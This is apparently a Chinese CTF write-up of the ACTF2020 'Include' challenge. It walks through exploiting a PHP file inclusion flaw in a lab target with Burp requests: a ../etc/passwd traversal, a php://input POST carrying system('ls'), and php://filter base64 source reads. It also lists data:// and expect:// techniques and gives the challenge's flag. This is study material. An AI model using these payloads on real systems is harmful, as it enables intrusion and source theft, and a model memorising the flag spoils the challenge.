[ACTF2020 新生赛]Include 思路及解法

大家好,你们可以叫我凌,是个16岁的网络安全者。

今天,我们来完成的是 ACTF2020 新生赛Include ,那废话不多说我们直接开始吧!


解题思路

先启动靶场。

进入靶场界面,发现有个链接。我们依旧不着急点击,先查看源代码。

html 复制代码
<meta charset="utf8">
<a href="?file=flag.php">tips</a>

界面代码只有个有价值的 <a> 标签,于是我点击 F12 的网络界面看看有没有什么线索。可是事实上并没有任何东西,那我们就先尝试点进该超链接查看是否有线索。

html 复制代码
<meta charset="utf8">
Can you find out the flag?

观察 URL,其中有 "flie=flag.php",那我们就尝试对它进行文件包含漏洞测试。如果都没有效果就上扫描器再看看。

我们使用 Burp 进行截包,随后发送到重发模块。

我们发送以下数据包,看看是否返回了 /etc/passwd 文件的内容。

bash 复制代码
GET /?file=../../../../etc/passwd HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com

成功返回了 /etc/passwd 文件的内容,那就证明该题目存在文件包含漏洞。

那我们继续构造数据包:

bash 复制代码
POST /?file=php://input HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

<?php system('ls'); ?>

发现被拦截了!随后经过测试,发现是对伪协议 input 进行了拦截,如图所示:

bash 复制代码
POST /?file=php:// HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

<?php system('ls'); ?>

那我们尝试更换协议,用 filter 伪协议尝试突围。

bash 复制代码
POST /?file=php://filter/read=convert.base64-encode/resource=php.php HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com

发现成功返回 base64编码 内容,那我们直接进行解码看看有没有线索。

解码得到了以下内容:

php 复制代码
<?php
echo "Can you find out the flag?";
//CTF2{748f5233-5cfc-469a-8d01-e90d0cf1cf98}

这样子,flag 就成功出来了!

靶场小结

考点标签

文件包含、PHP伪协议、源码读取

核心教训

  1. 看到 "?file=" 参数,第一反应就是文件包含:这是 CTF 和实战中最常见的文件包含入口。先用 "../../../../etc/passwd" 测试,确认漏洞存在。

  2. 伪协议是文件包含的核心武器:PHP 提供了多种伪协议,各有用途:

- php://filter: 读取文件源码(不会被执行),最常用的是 "convert.base64-encode" 编码后输出,避免被浏览器解析。

- php://input: 将 POST 请求体中的内容当作 PHP 代码执行,是文件包含漏洞直接 RCE 的首选。

**- data://:**在 URL 传入 PHP 代码执行,格式为 "data://text/plain,<?php system('ls');?>"

**- expect://:**直接执行系统命令(需要 PECL 扩展,较少见)。

  1. php://input 被拦截时的应对:这道题的 input 伪协议被 WAF 或配置禁用了,但 filter 仍然可用。当一个伪协议被拦时,换另一个试试------文件包含利用的常规思路。

  2. filter 读源码的标准操作:"php://filter/read=convert.base64-encode/resource=flag.php" 会读取 flag.php 的源码并以 Base64 编码输出。拿到 Base64 字符串后解码,Flag 就藏在注释或变量里。

解题关键步骤

  1. 发现入口:页面上有 flag.php 超链接,点击后 URL 变成 ?file=flag.php,确认文件包含参数。

  2. 确认漏洞:用 "?file=../../../../etc/passwd" 测试,成功读取系统文件,确认存在本地文件包含漏洞。

  3. 尝试 RCE:用 php://input 配合 POST 体 <?php system('ls');?> 尝试命令执行,发现被拦截。

  4. 换伪协议读源码:改用 "php://filter/read=convert.base64-encode/resource=flag.php",成功读取 flag.php 源码。

  5. 解码拿 Flag:Base64 解码后,Flag 在注释中。

相关推荐
Escalating_xu7 分钟前
【C++ STL简介】从六大组件到容器、迭代器与算法协作
java·c++·算法
Magic-ZYJ19 分钟前
HarmonyOS Stage 模型实战:UIAbility 生命周期如何驱动页面安全状态
安全·华为·harmonyos·鸿蒙·移动端开发·独立开发者·心晴手记
Sagittarius_A*24 分钟前
【好靶场】PHP反序列化入门练习
安全·php·web·反序列化
纪念 2291 小时前
算法二叉树(一)
算法
liulilittle1 小时前
llmx 学习手册 06 —— CPU 指令集优化(AVX-512 三层演进)
c++·学习·算法·ai·llm
IT大白鼠2 小时前
Kubernetes Goat:云原生安全靶场实践指南
安全·云原生·kubernetes
zlinear数据采集卡2 小时前
数据采集卡从入门到精通(42):项目实战三——设备预测性维护系统,从布点到预警
开发语言·单片机·嵌入式硬件·安全·fpga开发
土司大王2 小时前
LeetCode hot100——相交链表
算法·leetcode·链表
sbjdhjd2 小时前
CTF 技术复盘:从参数类型绕过到正则回溯 | Merry Christmas PHP CTF(gift.php & gift_plus.php)
安全·网络安全·云计算·php·ctf·红队·网络攻防
土司大王2 小时前
LeetCode hot100——回文链表
算法·leetcode·链表